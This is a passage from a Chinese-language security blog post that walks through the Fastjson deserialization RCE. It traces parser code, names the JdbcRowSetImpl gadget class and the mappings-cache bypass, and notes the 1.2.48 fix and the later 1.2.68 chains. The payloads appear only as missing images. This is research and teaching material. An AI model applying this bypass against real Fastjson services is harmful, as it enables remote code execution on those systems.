来到com/alibaba/fastjson/parser/DefaultJSONParser.java#parseObject()
image.png
跟进到com/alibaba/fastjson/serializer/MiscCodec.java#deserialze()
image.png
这里会到com/alibaba/fastjson/parser/DefaultJSONParser.java#parse()取得传入的恶意类:com.sun.rowset.JdbcRowSetImpl
image.png
return 后继续往下经过一系列 if 判断
image.png
跟进
image.png
这里会将恶意类 put 进 mappings,前提是 cache 为 true,而这个loadClass()是重载来的,cache 默认为 true
image.png
然后后面去解析b的时候由于 mappings 中存在恶意类了,所以直接加载,不写了

1.2.48 修复

cache 默认为 false 了,秒天秒地秒空气

1.2.68

不再赘述了,,直接看师傅们的文章吧
fastjson v1.2.68 RCE 利用链复现
Spring Boot Fat Jar 写文件漏洞到稳定 RCE 的探索
JDK8 任意文件写场景下的 Fastjson RCE

最后的最后

JAVA 反序列化—FastJson 组件这篇文章的评论可谓是脑洞大开,初也师傅的 payload 很有意思
image.png
稍微跟了下发现解析的时候并不是先去判断 json 格式是否成立,而是直接读取引号后面的内容,所以导致畸形 payload 也可以执行

参考

https://xz.aliyun.com/t/8979
http://wjlshare.com/archives/1512
http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/
https://xz.aliyun.com/t/10671
https://y4er.com/post/fastjson-learn/
https://xz.aliyun.com/t/7027


文章作者: yq1ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yq1ng !
评论
  目录